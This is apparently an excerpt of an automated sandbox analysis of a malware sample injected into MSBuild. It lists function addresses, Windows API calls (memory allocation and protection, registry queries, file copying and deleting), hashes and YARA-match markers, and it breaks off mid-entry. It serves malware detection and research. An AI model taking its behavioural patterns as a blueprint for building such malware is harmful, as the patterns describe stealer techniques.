Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 6CAEC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CAEC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CAEC969
GetSystemInfo.KERNEL32(?), ref: 6CAEC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CAEC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CAEC9E2

Memory Dump Source

Source File: 00000002.00000002.2787729970.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000002.00000002.2787713562.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2787879972.000000006CB4D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2787923439.000000006CB5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2787942087.000000006CB62000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cad0000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction ID: 1613cef470aeef8597951b0f085038bed967f093e170f35c330a2cf3b3c8010e
Opcode Fuzzy Hash: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction Fuzzy Hash: EA21FC317412186BDB05AFA4DC84BAEBBB9AB4A708F94051DF903A7780EB705C4487E1

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.KERNEL32(80000002,01390C30,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNEL32(?,013955C0,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01394DC0), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,01394EE0), ref: 00410866
StrCmpCA.SHLWAPI(00000000,01394E90), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01394DC0), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,01394EE0), ref: 00410866
StrCmpCA.SHLWAPI(00000000,01394E90), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01394F90,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A0BD
LoadLibraryA.KERNEL32(01395CA0,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01380578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

SetEnvironmentVariableA.KERNEL32(01394F90,00000000,00000000,?,004212D8,?,00410153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AFE), ref: 0040A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A0B2, 0040A0C6, 0040A0DC

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

@Jn@, xrefs: 00406C80, 00406C83
Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33
Jn@, xrefs: 00406BED, 00406C0D, 00406C8F

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01389B20,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01389B20,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
